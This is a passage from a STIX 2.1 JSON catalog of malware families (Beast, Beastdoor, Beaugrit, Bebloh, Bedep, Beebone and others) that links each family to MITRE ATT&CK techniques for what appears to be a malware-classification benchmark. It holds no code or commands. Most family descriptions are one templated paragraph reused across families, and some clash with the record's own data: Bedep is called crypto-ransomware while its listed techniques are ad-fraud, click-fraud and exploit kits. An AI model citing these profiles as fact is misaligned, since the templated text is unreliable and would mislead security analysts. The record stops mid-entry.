      "description": "Be3Auestydmi (classified in antivirus detection telemetry under designations including Trojan:Win32/Be3Auestydmi, Trojan.Win32.Be3Auestydmi, and Win32/Be3Auestydmi) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Be3Auestydmi executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Be3auestydmi",
        "Heur.Be3auestydmi",
        "Trojan:Win32/Be3Auestydmi",
        "Trojan.Win32.Be3Auestydmi",
        "Win32/Be3Auestydmi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Be3Auestydmi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/be3auestydmi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b927d661-c4de-584e-9767-d27eaf49a538",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbba8e14-ef7a-5bf2-b7c1-77441929ac6d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Be3Auestydmi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6db50243-2d14-51f7-a070-1ac35578ed34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbba8e14-ef7a-5bf2-b7c1-77441929ac6d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Be3Auestydmi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99ba3b4c-dd3b-5aeb-bb08-5887fd1ff2fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbba8e14-ef7a-5bf2-b7c1-77441929ac6d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Be3Auestydmi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b3087d9-5196-5d8c-95a1-0b7723868bd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Beast",
      "description": "Beast is a notorious Remote Access Trojan (RAT) that gained significant popularity in the early 2000s, primarily targeting Windows operating systems (Windows 95 through Windows XP). Written in Delphi, it was known for being one of the first RATs to incorporate an 'injection' method, commonly referred to as reverse connection, which allowed it to bypass basic hardware firewalls and NAT configurations. Beast provided a comprehensive suite of malicious capabilities, including file management, registry editing, webcam capture, and keystroke logging. Its graphical user interface (GUI) was notably user-friendly, which lowered the barrier to entry for novice cybercriminals, often termed 'script kiddies'. The architecture of Beast allowed attackers to compile the server component with various settings, enabling customized deployments that could evade simplistic signature-based detection mechanisms of that era.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Beast RAT",
        "Tataye"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Beast",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/beast"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1090: Proxy",
      "description": "MITRE ATT&CK Technique T1090 (Proxy) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1090",
          "url": "https://attack.mitre.org/techniques/T1090/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--650669c1-3960-55ec-b9bb-ff4946b95776",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b3087d9-5196-5d8c-95a1-0b7723868bd4",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beast exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--667bd531-f249-5fff-9070-d5ce7d4a315b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b3087d9-5196-5d8c-95a1-0b7723868bd4",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beast exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd7524f7-518d-5f61-afdf-93233ebca7f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b3087d9-5196-5d8c-95a1-0b7723868bd4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beast exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--844661f9-8320-523a-88ca-bcb345f182a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b3087d9-5196-5d8c-95a1-0b7723868bd4",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beast exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84b203fa-9442-5bf7-8224-cc5de8265e64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b3087d9-5196-5d8c-95a1-0b7723868bd4",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beast exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--484e83ab-5f39-5432-abd3-1ebb5087b89e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Beastdoor",
      "description": "Beastdoor (classified in antivirus detection telemetry under designations including Backdoor:Win32/Beastdoor, Backdoor.Win32.Beastdoor, and Win32/Beastdoor) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Beastdoor executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Beast",
        "Trojan.Beastdoor",
        "BDS/Beast",
        "Backdoor:Win32/Beastdoor",
        "Backdoor.Win32.Beastdoor",
        "Win32/Beastdoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Beastdoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/beastdoor"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83d0e1af-dfae-5afd-a452-306d2322976c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484e83ab-5f39-5432-abd3-1ebb5087b89e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beastdoor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cd5cf1e-45e9-5c27-9ff3-38cbe3aab71e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484e83ab-5f39-5432-abd3-1ebb5087b89e",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beastdoor exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec3df212-0b1d-56df-b775-1f0fb729b841",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484e83ab-5f39-5432-abd3-1ebb5087b89e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beastdoor exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eff33309-4637-52eb-bce0-bb125a78ddfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484e83ab-5f39-5432-abd3-1ebb5087b89e",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beastdoor exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9372f5c4-73b1-564b-b814-518254224ae7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Beaugrit",
      "description": "Beaugrit (classified in antivirus detection telemetry under designations including Ransom:Win32/Beaugrit, Ransom.Win32.Beaugrit, and Win32/Beaugrit) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Beaugrit executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Beaugrit",
        "Ransom.Win32.Beaugrit",
        "Win32/Beaugrit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Beaugrit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/beaugrit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e20093c-9c4b-56e5-bd70-da18f34f5e75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9372f5c4-73b1-564b-b814-518254224ae7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beaugrit exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--350506ba-d1ef-5024-800a-85babe02e422",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9372f5c4-73b1-564b-b814-518254224ae7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beaugrit exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--971bfc18-a334-5999-b268-7a444817b970",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9372f5c4-73b1-564b-b814-518254224ae7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beaugrit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8edd55c-7923-5201-b9c1-539aa3b4967d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9372f5c4-73b1-564b-b814-518254224ae7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beaugrit exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8bae9b8-7bfb-53dd-982e-e047fe4e3bdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9372f5c4-73b1-564b-b814-518254224ae7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beaugrit exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a2f881c9-69b6-5e75-9cf9-8164af365d8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bebloh",
      "description": "Bebloh (classified in antivirus detection telemetry under designations including Trojan:Win32/Bebloh, Trojan.Win32.Bebloh, and Win32/Bebloh) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bebloh executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bebloh",
        "Trojan.Win32.Bebloh",
        "Win32/Bebloh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bebloh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bebloh"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79012c4e-98a5-5ea0-8356-ed43243599b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2f881c9-69b6-5e75-9cf9-8164af365d8b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bebloh exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser / Web Injections))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53554989-3d95-50b6-9bf9-9b1519452c1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2f881c9-69b6-5e75-9cf9-8164af365d8b",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bebloh exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c910be9-2031-517b-b1dd-509d25f5f252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2f881c9-69b6-5e75-9cf9-8164af365d8b",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bebloh exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ac11d39-f0b5-5c8e-af98-ab4ea075cdf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2f881c9-69b6-5e75-9cf9-8164af365d8b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bebloh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b0fc61d-ff5b-56cd-b1b6-512839165d1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bedefco",
      "description": "Bedefco (classified in antivirus detection telemetry under designations including Ransom:Win32/Bedefco, Ransom.Win32.Bedefco, and Win32/Bedefco) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bedefco executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bedefco",
        "Downloader.Bedefco",
        "Win32/Bedefco",
        "Ransom:Win32/Bedefco",
        "Ransom.Win32.Bedefco"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bedefco",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bedefco"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2a092c6-e2eb-599c-a638-9a65cdef0b50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0fc61d-ff5b-56cd-b1b6-512839165d1b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedefco exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a3a8c69-48ef-551a-bfde-097302b2e30b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0fc61d-ff5b-56cd-b1b6-512839165d1b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedefco exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82879081-b95f-514a-b34d-63dd52575344",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0fc61d-ff5b-56cd-b1b6-512839165d1b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedefco exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d817fea9-6c5b-5acc-9de2-2688d43c3128",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bedep",
      "description": "Bedep (classified in antivirus detection telemetry under designations including Ransom:Win32/Bedep, Ransom.Win32.Bedep, and Win32/Bedep) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bedep executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bedep",
        "Ransom.Win32.Bedep",
        "Win32/Bedep"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bedep",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bedep"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90968cf9-1697-56d7-8726-7e6a0b4feda0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d817fea9-6c5b-5acc-9de2-2688d43c3128",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedep exhibits technique T1496 (Resource Hijacking (Ad-fraud / Click-fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--653dfd89-a6cf-5406-a3fa-dbeffc3b829d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d817fea9-6c5b-5acc-9de2-2688d43c3128",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedep exhibits technique T1189 (Drive-by Compromise (Exploit Kits))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19ead825-51dc-52aa-ae85-417c46ab8bb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d817fea9-6c5b-5acc-9de2-2688d43c3128",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedep exhibits technique T1055 (Process Injection (Fileless memory execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91d39973-6bc1-55fc-bed6-87b4dfe708c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d817fea9-6c5b-5acc-9de2-2688d43c3128",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bedep exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c379bfb-215f-5f8b-8983-128067822c05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Beebone",
      "description": "Beebone (widely cataloged across security vendors as the W32.Worm.Beebone or AAEH family) is a highly aggressive, polymorphic downloader worm first identified in 2012. Engineered to act as a resilient distribution engine, Beebone specialized in dropping secondary malware payloads\u2014including banking trojans, rootkits, fake antivirus rogueware, and ransomware\u2014onto infected systems across corporate and consumer networks worldwide.\n\nBeebone earned a reputation for extreme polymorphism: the worm re-compiled its code and crypter multiple times per day, ensuring that endpoint antivirus signatures remained perpetually ineffective. In April 2015, Europol's European Cybercrime Centre (EC3), the FBI, the Dutch National High Tech Crime Unit (NHTCU), the Joint Cybercrime Action Taskforce (J-CAT), and private security vendors executed a coordinated global strike against the Beebone botnet. The coalition successfully sinkholed all 100 domain names generated by the worm's domain generation algorithm (DGA), eradicating its command-and-control apparatus across more than 195 nations. (Observed samples in benchmark: 151)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Beebone",
        "W32.Worm.Beebone",
        "Worm.Beebone",
        "AAEH",
        "VBCrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Beebone",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/beebone"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bea27695-d31f-5974-aa92-8bd5b21e44db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c379bfb-215f-5f8b-8983-128067822c05",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
